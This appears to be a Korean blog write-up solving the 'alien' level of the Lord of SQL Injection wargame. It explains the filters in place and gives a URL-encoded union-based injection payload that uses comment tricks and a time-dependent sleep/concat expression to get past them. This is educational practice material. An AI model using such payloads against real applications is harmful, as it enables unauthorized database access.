ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> alien
    Wargame/Lord of SQL Injection 2021. 12. 6. 22:46

    alien

    admin, and, or, if, coalesce, case, _, ., prob, time을 필터링한다.

    쿼리가 2개 나와있다. 하나는 싱글 쿼터(')가 없고, 하나는 싱글 쿼터가 있다.

     

    아래 조건문을 살펴보면

    첫 번째 쿼리는 "admin"과 값이나 타입 하나라도 다르면 "sandbox1"을 출력하고 종료한다.

    또, "admin"과 같으면 "sandbox2"를 출력하고 종료한다.

     

    두 번째 쿼리는 "admin"과 같으면 "sandbox"를 출력하고 종료한다.

    또 한번 더 같으면 문제가 풀린다.

     

    우선, 주석을 사용해 두 쿼리를 동일한 결과를 출력하게 만들 수 있다.

    query 1 : select id from prob_alien where no=1 union select 1#' union select '1#

    query 2 : select id from prob_alien where no='1 union select 1#' union select 1#'

     

    첫 번째 쿼리의 빨간 부분은 주석 처리된다.

    두 번째 쿼리의 주황 부분은 문자열로 취급된다.

     

    이 문제에서 id값과 "admin"을 비교하는 조건문은 차례대로 진행된다.

    그리고 쿼리를 수행하는데 있어 약간의 시간이 소모된다.

    즉 첫 번째, 세 번째 조건에서는 id 값으로 "admin"이 들어가게하고,

    두 번째 조건에서는 id 값으로 "admin"이 아닌 값이 들어가게 하면 된다.

     

    concat(char(97+(!sleep(1)&&now()%2=1)), 0x646d696e)

    !sleep(1)&&now()%2=1은 현재 시간에 따라서 0 또는 1을 반환한다.

    그렇기 때문에 어느 시점에서는 char(97) 즉 a로 admin을,

    어느 시점에서는 char(98)인 b로 bdmin을 반환한다.

     

    url encoding 표를 참고하여

    + -> %2B

    & -> %26

    # -> %23

     

    따라서,

    ?no=0 union select concat(char(97%2B(!sleep(1)%26%26now()%2=1)), 0x646d696e)%23'

    union select concat(char(96%2B(!sleep(1)%26%26now()%2=1)), 0x646d696e)%23을 입력하면

    (시간에 따라 값이 다르므로 몇 번의 시도 필요)

    문제를 해결할 수 있다.

    'Wargame > Lord of SQL Injection' 카테고리의 다른 글

    <Lord of SQL Injection> cthulhu  (0) 2021.12.13
    <Lord of SQL Injection> zombie  (0) 2021.12.05
    <Lord of SQL Injection> ouroboros  (0) 2021.12.03
    <Lord of SQL Injection> phantom  (0) 2021.12.02
    <Lord of SQL Injection> frankenstein  (0) 2021.12.01
Designed by Tistory.